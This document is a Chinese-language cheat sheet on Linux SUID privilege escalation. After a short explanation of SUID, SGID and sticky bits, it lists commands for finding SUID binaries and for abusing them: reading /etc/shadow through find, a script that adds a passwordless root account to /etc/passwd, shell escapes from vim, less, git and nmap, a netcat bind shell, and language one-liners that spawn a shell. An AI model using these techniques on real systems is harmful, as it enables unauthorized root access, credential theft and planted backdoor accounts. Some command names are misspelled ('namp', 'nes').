SUID提权
SUID GUID Stickybit
suid 4 , sgid 2 , Stickybit(粘滞位) 1
Umask: root的umask为0022 ,第一位是上一排提到的, 所以创建文件时就是777-022=755, 文件就是 755-111=644 除去x(执行权)
Stickybit(粘滞位)
1 2
| 修饰文件夹 文件只有自己和root用户可以修改 如/tmp目录 所以用户都可创建修改自己文件, 但无法修改其他用户文件(无论是否同一个组)
|
SGID
1 2 3
| 用于目录,在该目录下建立的所有文件和目录,属组都继承该目录的属组,且该组内其他成员修改目录内的文件时,其属主和属组都不改变!! chmod g+s 目录 当修改文件两个用户是other(other和组内成员)时会改变所属主(所属组不变)
|
suid有啥用?
普通用户连/etc/shadow的查看权都没有, 但是要修改密码怎么办, 就是利用passwd的suid, 让passwd以root身份执行 赋予s权限需要本身具有x权限
chmod 4755 前面的4就是SUID
SUID只对可执行文件有效
调用者对该文件有执行权
文件执行过程中 拥有文件所有者权限, 权限仅在执行过程中有效
例子 :
1 2 3 4 5 6
| 赋予find文件s权限 sudo chmod u+s /usr/bin/find 赋予此权限需要root find passwd -exec cat /etc/shadow \; 普通用户也可查看/etc/shadow文件了
sudo chmod u-s /usr/bin/find 去除s权限 find passwd -exec cat /etc/shadow \;提示权限不够了
|
找到SUID文件
1 2 3
| find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
|
-perm用法
1 2 3
| find -perm mode(0777) 严格匹配, 不足前面自动添0 find -perm -mode(xxxx) 将数字转换为二进制, 1则必须匹配,0则随意(满足要求即可) find -perm +mode(xxxx) 与-差别就是只需匹配一个权限位的1即可(满足其中一个要求即可)
|
一般可以利用的文件
1 2 3 4 5 6 7 8 9 10
| Nmap Vim find Bash More Less Nano cp git wget
|
namp
1 2 3 4 5
| 在namp 2.02至5.21 拥有交互shell nmap -v namp --interactive 开启交互模式 或者通过metaaploit开启 exploit/unix/local/setuid_nmap
|
其他版本
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
利用nes脚本执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 创建一个nes脚本 a.nes os.execute("/bin/bash") 执行 namp --script=a.nes 但是可能不会成功 方法二 a.nes
local file = io.open("/etc/passwd", "a") file:write("root2::0:0::/root:/bin/bash\n") file:close()
nmap --script=a.nes su root2 切换到root用户了
|
vim
1 2 3 4 5 6 7
| vim.tiny /etc/shadow 可以读取所有文件
开启shell vim.tiny # Press ESC key :set shell=/bin/sh :shell
|
find
1 2 3 4
| find passwd -exec '/bin/sh' \; 或者 find pentestlab -exec netcat -lvp 端口 -e /bin/sh \; netcat ip 端口
|
bash
less/more
1 2
| less /etc/passwd(/etc/shadow) 进入后输入 !/bin/sh
|
git
1 2
| git help config 或者git -p help 输入!/bin/sh或者!/bin/bash
|
wget
利用wget下载添加有自定义root账户的passwd文件到/etc/passwd
其他
https://gtfobins.github.io/#+suid
受限shell突破
https://www.freebuf.com/articles/system/188989.html
/
1 2 3 4
| 直接利用 /bin/sh /bin/bash /bin/dash
|
cp
1 2 3
| 将shell文件移到用户目录然后执行 cp /bin/bash ubash cp /bin/sh ush
|
ftp gdb man git vim/vi more/less
1 2
| git help status !/bin/sh
|
pinfo
set shell
查看环境变量
如果为-rx则我们无法写入
1 2 3 4 5
| 在vim/vi中设置shell :set shell=/bin/sh :shell 或者在现有shell修改环境变量 export PATH=$PATH:/bin
|
编程语言提权
python
1
| python -c 'import os;os.system("/bin/sh")'
|
php:
1
| php -a then exec("sh -i");
|
perl:
1
| perl -e 'exec "/bin/sh";'
|
lua:
ruby: